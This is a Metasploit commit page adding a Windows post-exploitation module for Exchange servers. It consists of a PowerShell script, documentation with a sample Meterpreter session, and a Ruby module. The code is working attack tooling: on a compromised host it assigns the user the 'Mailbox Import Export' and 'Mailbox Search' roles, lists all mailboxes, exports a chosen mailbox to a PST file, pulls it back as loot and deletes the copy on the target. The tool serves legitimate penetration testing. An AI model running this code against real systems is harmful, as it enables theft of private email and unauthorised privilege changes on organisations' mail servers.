Land #14869, Add Windows post module for gathering Exchange mailboxes

Merge branch 'land-14869' into upstream-master
This commit is contained in:
bwatters 2021-03-26 15:08:06 -05:00
commit 11b12e4c63
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
3 changed files with 502 additions and 0 deletions

View File

@ -0,0 +1,207 @@
# Wrapper around Write-Host, but surrounds the string with delimiters so that we can disregard spam output originating from RemoteExchange scripts
function Write-Output ( [string] $string ) {
$string = [string]::join("<br>",($string.Split("`r`n")))
# <output> is a placeholder delimiter, it is later replaced by the Ruby script
Write-Host "<output>$string</output>"
}
function Export-Mailboxes ([string] $mailbox, [string] $filter, [string] $path) {
# $path may arrive as a short path (C:\Users\ADMINI~1\...), but Exchange does not accept short paths.
# Get-Item is used to translate the short path to a full path.
$path_parent = Split-Path -Path $path -Parent
$path_leaf = Split-Path -Path $path -Leaf
$path_parent_full = (Get-Item -LiteralPath $path_parent).FullName
$path_full = Join-Path $path_parent_full $path_leaf
# Convert path to a UNC path
$path_drive = (Split-Path -Path $path_full -Qualifier)[0]
$path_rest = Split-Path -Path $path_full -NoQualifier
$unc_path = '\\localhost\' + $path_drive + '$' + $path_rest
Write-Output "Exporting mailbox..."
try {
if ($filter -eq "") {
# Don't use a filter
$export_req = New-MailboxExportRequest -Priority High -Mailbox $mailbox -FilePath $unc_path
} else {
# Use a filter
$export_req = New-MailboxExportRequest -Priority High -ContentFilter $filter -Mailbox $mailbox -FilePath $unc_path
}
}
catch {
$EM = $_.Exception.Message
Write-Output "Error exporting mailbox - New-MailboxExportRequest failed"
Write-Output "Exception message: '$EM'"
return
}
if ($export_req -eq $null) {
Write-Output "Error exporting mailbox - New-MailboxExportRequest returned null"
return
}
# Monitor the export job status
While ($true) {
$req_status = $export_req | Get-MailboxExportRequest
Write-Output ". $($req_status.Status)"
if ($req_status.Status -eq "Failed") {
Write-Output "Error exporting mailbox - Export job failed"
break
}
if ($req_status.Status -eq "Completed") {
Write-Output "Exporting done"
break
}
Start-Sleep -Seconds 1
}
$export_req | Remove-MailboxExportRequest -Confirm:$false
}
function List-Mailboxes {
# Don't throw exceptions when errors are encountered
$Global:ErrorActionPreference = "Continue"
$servers = Get-MailboxServer
foreach ($server in $servers) {
Write-Output "----------"
Write-Output "Server:"
Write-Output "- Name: $($server.Name)"
Write-Output "- Version: $($server.AdminDisplayVersion)"
Write-Output "- Role: $($server.ServerRole)"
Write-Output "-----"
Write-Output "Mailboxes:"
$mailboxes = Get-Mailbox -Server $server
foreach ($mailbox in $mailboxes) {
Write-Output "---"
Write-Output "- Display Name: $($mailbox.DisplayName)"
Write-Output "- Email Addresses: $($mailbox.EmailAddresses)"
Write-Output "- Creation date: $($mailbox.WhenMailboxCreated)"
Write-Output "- Address list membership: $($mailbox.AddressListMembership)"
$folderstats = $mailbox | Get-MailboxFolderStatistics -IncludeOldestAndNewestItems -IncludeAnalysis
if ($folderstats) {
$non_empty_folders = ( $folderstats | ? {$_.ItemsInFolder -gt 0 })
if (!($non_empty_folders)) {
Write-Output "- (All folders are empty)"
} else {
Write-Output "- Folders:"
foreach ($folderstats in $non_empty_folders) {
$output_string = "-- Path $($folderstats.FolderPath), Items $($folderstats.ItemsInFolder), Size $($folderstats.FolderSize)"
if ($folderstats.NewestItemReceivedDate) {
$output_string += ", Newest received date $($folderstats.NewestItemReceivedDate)"
}
Write-Output "$output_string"
}
}
}
}
}
}
function Ensure-Role ([string] $user, [string] $role) {
$assignments = Get-ManagementRoleAssignment -Role $role -RoleAssignee $user -Delegating $false
if (!($assignments)) {
Write-Output "User not assigned to role $role - Assigning now"
New-ManagementRoleAssignment -Role $role -User $user
}
}
function Check-Permission {
try {
$Current_Identity = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$Groups = Get-ADPrincipalGroupMembership -identity $Current_Identity.User
}
catch {
$EM = $_.Exception.Message
Write-Output "Error getting the current user's Active Directory group membership"
Write-Output "Exception message: '$EM'"
return $false
}
return [bool] ( $Groups | ? {$_.samAccountName -eq "Organization Management" })
}
function Assign-Roles {
$Current_Username = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name
# Ensure the current user has the following roles, required for the New-MailboxExportRequest cmdlet
Ensure-Role $Current_Username "Mailbox Search"
Ensure-Role $Current_Username "Mailbox Import Export"
}
function Get-RemoteExchangePath {
# Get the path of the RemoteExchange.ps1 script
$Path = $env:ExchangeInstallPath
if (!$Path -Or !(Test-Path $Path)) {
$Path = Join-Path $env:ProgramFiles 'Microsoft\Exchange Server\V15\'
if (!(Test-Path $Path)) {
$Path = Join-Path $env:ProgramFiles 'Microsoft\Exchange Server\V14\'
if (!(Test-Path $Path)) {
return $null
}
}
}
$RemoteExchangePath = Join-Path $Path 'Bin\RemoteExchange.ps1'
if (!(Test-Path $RemoteExchangePath)) {
return $null
}
return $RemoteExchangePath
}
# Need to set this in order to catch errors raised by RemoteExchange as exceptions
$Global:ErrorActionPreference = "Stop"
$RemoteExchangePath = Get-RemoteExchangePath
if (!($RemoteExchangePath)) {
Write-Output "Couldn't find RemoteExchange PowerShell script"
return
}
try {
Import-Module $RemoteExchangePath
}
catch {
$EM = $_.Exception.Message
Write-Output "Error loading the RemoteExchange PowerShell script"
Write-Output "Exception message: '$EM'"
return
}
try {
Connect-ExchangeServer -auto
}
catch {
$EM = $_.Exception.Message
Write-Output "Error connecting to Exchange server"
Write-Output "Exception message: '$EM'"
return
}
try {
# There's a bug in Exchange 2010 that requires running an Exchange cmdlet before an AD cmdlet, otherwise the script won't work.
# For this reason, we run Get-Mailbox here and disregard its output.
Get-Mailbox | Out-Null
if (!(Check-Permission)) {
Write-Output "Permission check failed, current user must be assigned to the Organization Management role group"
return
}
_COMMAND_
}
catch [System.Management.Automation.CommandNotFoundException] {
Write-Output "A CommandNotFoundException was thrown - Some Exchange Management Shell are unavailable. This is most likely due to insufficient credentials in meterpreter session"
}
catch {
$EM = $_.Exception.Message
Write-Output "Aborting, caught an exception"
Write-Output "Exception message: '$EM'"
}

View File

@ -0,0 +1,121 @@
## Vulnerable Application
This module will gather information from an on-premise Exchange Server running on the target machine.
Two actions are supported:
`LIST` (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
`EXPORT`: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
It requires that the effective Meterpreter session user be assigned to the "Organization Management" role group.
## Verification Steps
1. Start msfconsole
2. Get meterpreter session on a Windows target running an Exchange Server
3. Do: `use post/windows/gather/exchange`
4. Do: `set SESSION <session id>`
5. Do: `run`
## Options
### FILTER
Filter to use when exporting a mailbox.
See [Microsoft documentation](https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter)
for valid values.
Unused for LIST action, optional for EXPORT action.
### MAILBOX
Mailbox to export. Can be a mailbox's email address or display name.
Unused for LIST action, required for EXPORT action.
### DownloadSizeThreshold
The file size of export results after which a prompt will appear to confirm the download, in MB.
Option takes a float number. Default value is 50.0.
### SkipLargeDownloads
If set to `true`, automatically skip downloading export results that are larger than `DownloadSizeThreshold` (don't show prompt).
Set to `false` by default.
## Extracted data
### LIST action
For every server:
- Server name
- Server version
- Server role
- For every mailbox in server:
- Mailbox display name
- Mailbox email addresses
- Mailbox creation date
- Mailbox address list membership
- For every folder in mailbox:
- Folder Path
- Items in folder
- Folder size
- Newest item received date
### EXPORT action
.PST file with the chosen mailbox's mail items
## Scenarios
### Windows Server 2012 R2 with On-Premise Exchange Server 2010
```
msf6 exploit(multi/handler) > use post/windows/gather/exchange
msf6 post(windows/gather/exchange) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/exchange) > run -a LIST
[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Listing reachable servers and mailboxes:
----------
Server:
- Name: WIN-49S7K9MJUAF
- Version: Version 14.3 (Build 123.4)
- Role: Mailbox, ClientAccess, HubTransport
-----
Mailboxes:
---
- Display Name: Administrator
- Email Addresses: SMTP:Administrator@example.corp
- Creation date: 12/02/2020 01:01:43
- Address list membership: \Mailboxes(VLV) \All Mailboxes(VLV) \All Recipients(VLV) \Default Global Address List \All Users
- (All folders are empty)
---
[...]
[*] Post module execution completed
msf6 post(windows/gather/exchange) > set MAILBOX "Administrator"
MAILBOX => Administrator
msf6 post(windows/gather/exchange) > run -a EXPORT
[+] Exchange Server is present on target machine
[+] PowerShell is present on target machine
[+] Exporting mailbox 'Administrator':
Exporting mailbox...
. Queued
. Queued
. Queued
. InProgress
. Completed
Exporting done
[*] Resulting export file size: 0.26 MB
[+] PST saved in: /home/user/.msf4/loot/20210309120402_default_192.168.1.70_PST_427036.pst
[*] Post module execution completed
msf6 post(windows/gather/exchange) >
```

View File

@ -0,0 +1,174 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Powershell
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Exchange Server Mailboxes',
'Description' => %q{
This module will gather information from an on-premise Exchange Server running on the target machine.
Two actions are supported:
LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter
The executing user has to be assigned to the "Organization Management" role group for the module to successfully run.
Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
},
'License' => MSF_LICENSE,
'Author' => [ 'SophosLabs Offensive Security team' ],
'References' => [
[ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],
[ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],
[ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],
],
'DefaultAction' => 'LIST'
)
)
register_options(
[
OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),
OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),
]
)
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 600]),
OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),
OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\'t show prompt)', false])
]
)
end
def execute_exchange_script(command)
# Generate random delimiters for output coming from the powershell script
output_start_delim = "<#{Rex::Text.rand_text_alphanumeric(16)}>"
output_end_delim = "</#{Rex::Text.rand_text_alphanumeric(16)}>"
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'exchange.ps1'))
# A hash is used as the replacement argument to avoid issues with backslashes in command
psh_script = base_script.sub('_COMMAND_', '_COMMAND_' => command)
# Insert the random delimiters in place of the placeholders
psh_script.gsub!('<output>', output_start_delim)
psh_script.gsub!('</output>', output_end_delim)
compressed_script = compress_script(psh_script)
cmd_out, _runnings_pids, _open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
while (d = cmd_out.channel.read)
# Only print the output coming from PowerShell that is inside the delimiters
d.scan(/#{output_start_delim}(.*?)#{output_end_delim}/) do |b|
b[0].split('<br>') do |l|
print_line(l.to_s)
end
end
end
end
def user_confirms_download?
# Prompt the user to confirm the download. Return true if confirmed, false otherwise
return false unless user_input.respond_to?(:pgets)
old_prompt = user_input.prompt
user_input.prompt = 'Are you sure you want to continue? [y/N] '
cont = user_input.pgets
user_input.prompt = old_prompt
return cont.match?(/^y/i)
end
def export_mailboxes(mailbox, filter)
# Get the target's TEMP path and generate a random filename to serve as the save path for the export action
temp_folder = get_env('TEMP')
random_filename = "#{Rex::Text.rand_text_alpha(16)}.tmp"
temp_save_path = "#{temp_folder}\\#{random_filename}"
# The Assign-Roles command is responsible for assigning the roles necessary for exporting,
# It's executed in a separate PowerShell session because these changes don't take effect until a new session is created
execute_exchange_script('Assign-Roles')
execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
# After script is done executing, check if the export save path exists on the target
if !file_exist?(temp_save_path)
print_error('Export file not created on target machine. Aborting.')
return
end
# Get the size of the newly made export file
stat = session.fs.file.stat(temp_save_path)
mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
print_status("Resulting export file size: #{mb_size} MB")
if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
if datastore['SkipLargeDownloads'] || !user_confirms_download?
print_error('Not downloading oversized export file.')
rm_f(temp_save_path)
return
end
end
# Download file using the loot system
loot = store_loot('PST', 'application/vnd.ms-outlook', session, read_file(temp_save_path), 'export.pst', "PST export of mailbox #{mailbox}")
print_good("PST saved in: #{loot}")
# Delete file from target
rm_f(temp_save_path)
end
def list_mailboxes
execute_exchange_script('List-Mailboxes')
end
def run
# Check if Exchange Server is installed on the target by checking the registry
if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
print_good('Exchange Server is present on target machine')
else
fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
end
# Check if PowerShell is installed on the target
if have_powershell?
print_good('PowerShell is present on target machine')
else
fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
end
mailbox = datastore['MAILBOX']
filter = datastore['FILTER']
case action.name
when 'LIST'
print_good('Listing reachable servers and mailboxes: ')
list_mailboxes
when 'EXPORT'
if mailbox.nil? || mailbox.empty?
fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
else
print_good("Exporting mailbox '#{mailbox}': ")
export_mailboxes(mailbox, filter)
end
else
print_error("Unknown action: #{action.name}")
end
end
end